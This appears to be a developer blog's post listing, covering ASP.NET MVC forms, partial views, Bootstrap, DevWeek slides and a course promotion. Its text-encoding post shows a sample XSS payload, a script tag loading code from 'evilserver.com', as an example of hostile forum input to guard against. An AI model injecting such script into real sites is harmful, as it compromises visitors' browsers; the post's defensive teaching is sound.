Watch Building beautiful websites with Bootstrap

We just published my latest webcast. Feel free to watch it or download the demos and slides. Hope you enjoy it!

   Building beautiful websites with Bootstrap: A case studybootstrap-webcast-starter

Take the first hour of any online developer course for free at LearningLine

[Note: reblogged from blog.learninglineapp.com. I'd like to personally invite you to check out our work over at LearningLine - just follow the links below.]

We believe that LearningLine is the most effective online training for developers, period. Today it gets even better. We are announcing the ability to preview any of our online courses, for free without entering any payment information.

This is not a trial that becomes a subscription or a silly 5 minute preview like other company’s offer.  You can now study approximately the first hour of any one of our courses. And you can spend as much time as you like doing so.

To get started, just head over to our schedule page, click on any course title you’d like and choose “Preview course for free“:

   preview-online-developer-course-for-free

This means there is now lot of content available to you right now. At a typical student speed working for an hour a day, it would take over a month to complete all the content that is available for preview. Continue reading

Slides and demos from DevWeek 2013

[Update: I added the downloads for the demo code on March 12th.]

I had a great time discussing these topics with everyone at DevWeek 2013. Thanks to all who attended my sessions. Here are the slides:

Getting Serious About The Cloud For Developers
Slides: Getting serious about the Cloud (DevWeek).pdf
Demos: CloudDriverS3SecureFiles-Demo-DevWeek-Kennedy.zip

18 Ways Your Brand-New MVC Web Application Can Be Better
Slides:More Ways MVC Better (DevWeek) – Kennedy.pdf
Demos: 18WaysMvcNewProjectBetterDemo-DevWeek-Kennedy.zip

Building Rich Forms in ASP.NET MVC (important – see note below)
Slides: Rich Forms with ASP.NET MVC (DevWeek).pdf
Demos: Rich-ASPNET-Forms-Demos-Michael-Kennedy.zip

Applied NoSQL in .NET (important – see note below)
Slides: Applied NoSQL in .NET (DevWeek).pdf
Demos: Applied-NoSQL-in-dotNET-Demos-Michael-Kennedy.zip

Important note: In order to run this demo, you must download MongoDB and start it on your local machine. You do not need to initialize a database or anything like that but the db will be empty so use the admin feature to create categories and books. Running MongoDB as a Windows Service is not required.

Cheers,
@mkennedy

Improve perceived performance of ASP.NET MVC websites with asynchronous partial views

github_icon

[Note: The code for this project is available on GitHub.]

Imagine you’re building an ASP.NET MVC website which has some performance problems. I’m sure this would never actually happen to you, but imagine you’re facing this problem just for the sake of exploring the possibilities. :-)

Now, your web app is mostly fast and responsive, but there are certain types of data that just bring the whole thing to a grind. This article will cover a technique using ASP.NET MVC partial views, along with just a sprinkle of jQuery, JavaScript, and HTML5 to make your site feel nice and responsive even if you cannot increase the speed of certain operations. Continue reading

Screencast: Refactoring with Partial Views in MVC

In this screencast, I show you how to create maintainable and readable ASP.NET MVC razor views by refactoring them into smaller, reusable blocks with partial views.

Download the code: Refactoring-with-Partial-Views-in-MVC-Kennedy.zip

Understanding Text Encoding in ASP.NET MVC (ASP.NET MVC Foundations Series)

[The code for this post is available on GitHub]

This article covers the various ways in which you might handle text encoding in ASP.NET MVC. For example, if you were writing a forum web app, you should absolutely be paranoid about what your users are typing into your site. You need to be very careful about how you redisplay their input. For example, a friendly forum user might write something like:

Nice post, thanks for sharing!

On the other hand, they may write:

<script src=”http://evilserver.com/xss.js”></script&gt;
<script>xss.doBadDeeds();</script>

If you turn around and show this “post” to your other uses, maybe they’ll get hacked. At a minimum, the evil-doers could be a nuisance to your real users.

On the other hand, if you’re building a CMS or utility helper method, you do not want to filter out the HTML a user might type. They probably need to enter some HTML which you’ll want to show to all the other users. Same thing goes for code your app might generate.

There are at least three ways which MVC manages and encodes (or does not encode) text data. Knowing which scenario you’re targeting allows you to choose the right option. We’ll look at four examples in this post:

  1. A forum app which can be hacked
  2. A forum app which is safe from XSS injection
  3. A CMS app with rich text editing
  4. Generating HTML in code for use in MVC Razor views

Continue reading

Preventing JavaScript Files from Loading Multiple Times

This post is about ensuring that you do not execute a particular JavaScript file more than one time. Let’s start by asking:

What happens if you link to a js file twice in your page?

Here is a contrived example.

Notice that we are including bad-example.js twice. Do modern browsers somehow realize they loaded this file already and skip this? Not yet, as we’ll see!

Imagine bad-example.js had this code in it. Continue reading

Download My Web Apps Have HotKeys Too Sample App

I recently blogged about how web apps have hotkeys too. To encourage more developers to add hotkeys to their web applications, I created a jQuery plugin called jQuery.hotKeyMap.js and a sample application.

I just added a download link for the source code:

WebAppsHaveHotKeysTooSample-MichaelKennedy-v1.zip

It’s an ASP.NET MVC 3 web app. Hope you find it useful!

Cheers,
@mkennedy

How Are You Scaling ASP.NET?

There are some interesting debates out there around scaling ASP.NET.  How do you do it? Please fill out this poll and tell the world:

Interested in a blog post on this? Take it to the comments section.

Cheers,
@mkennedy

No, You Don’t Need A Windows App

[This project is available on GitHub.]

Do you think you need a Window’s app for your next project? Here’s a thought: No you don’t.

Let me give you one less reason choose the rocky-road of desktop apps today. You’ll hear people tell you that if you build applications for business users (so-called LOB apps) that are input heavy or have complex navigation, your only choice is to build a Windows application.

Why? Because your power users will want hot-keys. They don’t want to use the mouse and navigation and all that stuff that makes the web less usable. They’ll just want to hit a few keystrokes and jump from place to place and do that quick look-up or data entry.

If you haven’t looked carefully around the web lately, here’s a revelation:

Real web apps have hot-keys too.

Continue reading

Building ASP.NET MVC Forms with Razor (ASP.NET MVC Foundations Series)

[Update: Want to watch this as a screencast rather than article?]

In this ASP.NET MVC Foundations article, we’re going to look at building an ASP.NET MVC page which allows users to create and edit objects in our domain. We’ll cover just the basics of using HTML helpers to map model properties to our HTML form and Model Binding to convert our HTML form back into our rich domain object.

We’ll start with a very basic store website (downloads here: BasicMvcForms_starter.zip and BasicMvcForms_final.zip)which has a database and some basic products already listed:

Continue reading